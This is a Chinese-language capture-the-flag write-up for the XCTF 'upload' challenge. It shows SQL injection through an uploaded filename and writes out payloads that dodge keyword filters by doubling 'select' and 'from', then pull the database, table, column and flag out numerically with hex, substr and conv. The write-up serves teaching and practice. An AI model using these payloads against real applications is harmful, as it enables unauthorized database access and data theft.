XCTF upload

一.看到题目的描述应该和文件上传漏洞有关

  1.进入实验环境,先随便注册一个账号,然后登录

  

   2.随便选个文件上传试一试,就上传个木马图片吧

  

   上传后显示了如下提示信息后就302跳转了,根据返回的uid以为是告诉我们上传后的文件名,我尝试访问一下我之前上传的图片

  ,试了半天访问不到,而且这里对php文件做了上传限制,于是找找其他思路。

  

  这里是上传操作,肯定和数据库的insert打交道,猜测语句为  insert into tablename('filename',...) values ('上传的文件名',,,,);

  那就试试能不能通过上传的文件名进行:

  基于insert的注入,首先试一试  xx' or updatexml(0,concat(0x7e,(select database())),0) or '.jpg    ,结果注入被检测到了。

  

   经过测试  select  和  updatexml  会被检测到,并提示我们的sql注入被发现了,而且  from 也被过滤了。

  我们发现用       xx' or extractvalue(0,concat(0x7e,(select database()))) or '.jpg     , 并不会被过滤,但是这里

  在页面上不会有任何的显示,因为这种是基于函数报错的注入,后端可能把报错信息给屏蔽的,不显示在前端。(我个人猜测)

  所以,经过上面的测试,我们不能通过这些常规的sql注入的方法去获取信息,即我们又要换思路了~~。

  

  3.我们看看能不能用   mysql 中的  +  号运算符进行拼接sql语句。

  首先我们来了解一下 +  号运算符,

  

     

   经过测试我们可以发现 + 号如果连接sql语句时,他会先执行sql语句,再将得到的结果与 第一个加数进行 加运算。

  这里如果遇到字符,则只会截取前面数字的部分进行加运算,所以我们用+号拼接sql语句时,一定要确保执行的结果要为数字。

  

  4.根据上面的经验,我们现在可以开始验证一下我们的思路:

  由前面我们知道select会被过滤,这里可以通过双写进行绕过:      '+(selselectect database())+'.jpg

  为了方便我们操作这里我们可以用Burp改包发送:

  

    然后在前端的页面上我们可以发现返回一个  0,这符合我们的预期,因为我们  select database(),查询出来的是字符串,字符串再和空字符相加,结果返回0.

  那这里我们就要将我们要执行的sql语句的结果转成数字,再显示在前端,将前端显示的数字去转换成字符串即可:

  那我们先了解一下   substr  和  hex  这两个函数:

  hex() :

  

   1).HEX(number),如果number不是整数,则在进行运算前将其四舍五入为最接近的整数,然后返回该数的十六进制数值表示形式;

   2).如果number是一个字符串,则返回number的十六进制字符串表示形式,其中number里的每个字符被转化为两个十六进制数字:

   3)..如果number是NULL,将返回NULL值

  substr():

  substr(str,pos,len);//str:字符串,pos:起始位置,len:截断长度,mysql中这里的起始位置是1.

  

  如果不指定长度,那就默认截断剩余部分。

  conv(NUM, from_base, to_case):

  

  了解完这些函数后,我们开干!

  构造    :   '+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg       ,发现显示    7795625,有可能遇到字符被截断了。

    

   因此我们又要用  conv()  函数将其转成十进制输出,避免字符。

   '+(selecselectt conv(substr(hex(dAtabase()),1,12),16,10))+'.jpg


  

  '+(selecselectt conv(substr(hex(dAtabase()),13,12),16,10))+'.jpg    


  

   我们将我们获得的十进制数进行拼接,然后转成十六进制的形式,最后转成文字即可

  131277325825392 转换为16进制为 7765625f7570 转换为文字为 web_up,1819238756 转换为16禁止为 6c6f6164 转换为文字为 load

   注入表名:     '+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg          # 得到表名 hello_flag_is_here

  注入字段:   '+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg      # 得到字段 i_am_flag

  获取数据:   '+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

                                          #得到Flag: !!_@m_Th.e_F!lag

  

  

  

  

  

  

猜你喜欢

转载自www.cnblogs.com/darklee/p/12630959.html